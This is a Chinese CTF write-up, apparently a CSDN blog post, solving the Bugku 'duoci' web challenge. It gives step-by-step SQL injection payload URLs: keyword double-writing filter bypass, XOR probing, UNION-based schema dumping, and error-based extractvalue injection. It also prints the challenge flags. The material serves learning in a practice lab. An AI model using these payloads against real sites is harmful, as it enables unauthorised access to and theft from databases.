Bugku Web CTF-多次

本文详细介绍了在Bugku Web CTF挑战中遇到的一次SQL注入问题,从URL构造到利用异或注入猜解过滤关键字,再到猜解数据库名、表名、列名,最终获取两个小写的flag。过程中学习了时间盲注和基于错误的注入等技巧。
摘要由CSDN通过智能技术生成

Bugku Web CTF-多次

看url构造,可控的值为id:

http://123.206.87.240:9004/1ndex.php?id=5

尝试不同数字一直到id=5会提示可以在该页面进行SQL注入。
尝试不同的构造:

http://123.206.87.240:9004/1ndex.php?id=5'

提示Error,Error,Error!,但双引号不报错:

http://123.206.87.240:9004/1ndex.php?id=5"

加上注释:

http://123.206.87.240:9004/1ndex.php?id=5' --%20

不报错,进一步尝试orand等关键字,发现均报错,但是双写可绕过,猜测是过滤了一些关键字:

http://123.206.87.240:9004/1ndex.php?id=5' oorr 1=1--%20
http://123.206.87.240:9004/1ndex.php?id=5' aandnd 1=1--%20

于是采用异或注入来试出过滤了哪些关键字:(之前只知道时间盲注,做这题又新学了一个名词儿)

http://123.206.87.240:9004/1ndex.php?id=1'^(length('and')=0)--%20

异或时两者同真时返回结果为假,此时回显为Error,Error,Error!,说明and被过滤掉了,以此内推被过滤的关键字还有orunionselect
下面就可以开始猜解了。首先猜表的列数,通过order by猜测,注意此处or会被过滤掉,所以要双写:

http://123.206.87.240:9004/1ndex.php?id=1' oorrder by 1--%20
http://123.206.87.240:9004/1ndex.php?id=1' oorrder by 2--%20
http://123.206.87.240:9004/1ndex.php?id=1' oorrder by 3--%20

order by 3时出现错误,列数应为2。
利用union select构造命令进行数据库名的回显:

http://123.206.87.240:9004/1ndex.php?id=-1' ununionion selselectect 1,database()--%20

这里要令id=-1因为前半部分传入无效的id值导致没有有效返回结果才能回显出后面的值。可拿到数据库名为web1002-1
获取该数据库的所有表名:

http://123.206.87.240:9004/1ndex.php?id=-1' ununionion selselectect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--%20

其中select group_concat(table_name) from information_schema.tables where table_schema=database()可爆出数据库中的所有表名。
得到结果flag1,hint。猜解flag1表中的所有列名:

http://123.206.87.240:9004/1ndex.php?id=-1' ununionion selselectect 1,group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() anandd table_name='flag1'--%20

得到结果flag1,address。最后获取flag:

http://123.206.87.240:9004/1ndex.php?id=-1' ununionion selselectect 1,group_concat(flag1) from flag1--%20

得到flag为usOwycTju+FTUUzXosjr。然而事情还没有结束…提交发现错误才看到题目提示中有说本关有两个flag且应该为小写,所以继续找flag,看看address列的内容:

http://123.206.87.240:9004/1ndex.php?id=-1' ununionion selselectect 1,group_concat(address) from flag1--%20

得到下一关地址:

<center><font  color= '#fff'>./Once_More.php<br /><a href=./Once_More.php?id=1>下一关地址</a><br></font></center>

访问之后发现是一个怪中二的页面…还是有参数id让我们注入,先尝试简单的单引号:

http://123.206.87.240:9004/Once_More.php?id=1'

发现有错误信息回显:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

用上关的方法不好使了,所以又学了一个新名词儿叫报错注入。通过错误提示来猜解相关信息,首先猜测表的列数:

http://123.206.87.240:9004/Once_More.php?id=1' order by 3--%20

一直到3会提示Unknown column '3' in 'order clause',可得出该表有两列。
这里用到了extractvalue注入

http://123.206.87.240:9004/Once_More.php?id=1' and (extractvalue(1,concat('~',(select database()),'~')))--%20

extractvalue(XML_DOCUMENT, XPath_String)第一个参数XML_DOCUMENT为String格式,是XML文档对象的名称;第二个参数XPath_StringXPath格式的字符串。通过concat将其参数进行连接,而XPath格式不可能以~开头,所以在执行的时候会报格式错误,并将括号内的执行结果以错误的形式回显出。

XPATH syntax error: '~web1002-2~'

可知数据库名称为web1002-2。猜解表名:

http://123.206.87.240:9004/Once_More.php?id=1' and (extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~')))--%20

得到该数据库有两个表classflag2

XPATH syntax error: '~class,flag2~'

猜解列名:

http://123.206.87.240:9004/Once_More.php?id=1' and (extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag2'),'~')))--%20
XPATH syntax error: '~flag2,address~'

获取表中内容:

http://123.206.87.240:9004/Once_More.php?id=1' and (extractvalue(1,concat('~',(select group_concat(flag2) from flag2),'~')))--%20
XPATH syntax error: '~flag{Bugku-sql_6s-2i-4t-bug}~'

最后记得把大写的B改为小写。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值